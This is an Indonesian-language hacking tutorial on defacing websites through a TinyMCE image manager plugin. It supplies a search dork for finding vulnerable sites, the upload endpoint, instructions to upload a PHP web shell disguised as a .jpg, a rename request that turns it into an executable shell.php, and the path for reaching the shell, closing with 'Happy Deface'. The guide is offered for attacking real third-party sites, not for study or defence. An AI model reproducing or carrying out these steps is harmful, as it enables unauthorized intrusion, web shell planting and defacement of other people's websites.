TinyMce Image Manager

TinyMce

Assalamualaikum Wr Wb
Ketemu Lagi Sama Cimeng :v eh Speciment :v
kali ini w bakal kasih tutor depes Tinymce Image Manager
Langsung Saja Tanpa Basa Basi

Bahan :
Dork : inurl:/tinymce/plugins/image/uploads/
Exploit : /tinymce/plugins/image/image.php
Shell Extensi .jpg (rename Shell.php jadi shell .php)

POC:

1. Dorking Dulu Pake Dork Di atas,Terus Pilih 1 Target nya

Kembangkan Lagi Ya :)

2. Masukkan Exploit nya

contoh : site.com/tinymce/plugins/image/image.php
nanti tampilan nya kek gini

TinyMce

 Abis Gitu Klik Upload Now

3. Upload Shell.jpg

Upload Shell Nya

4. Nah Sekarang Kita Rename Shell.jpg jadi shell.php
cara nya :

ganti image.php jadi :
rename_file.php?current_name=shell.jpg&new_name=shell.php

Lalu Enter
Maka Tampilannya Akan Seperti Ini

Sukses Rename File

5. Akses Shell Nya

site.com/tinymce/plugins/image/uploads/shell.php

Happy Deface :)
Sekian Dari Cimeng
wassalamualaikum wr wb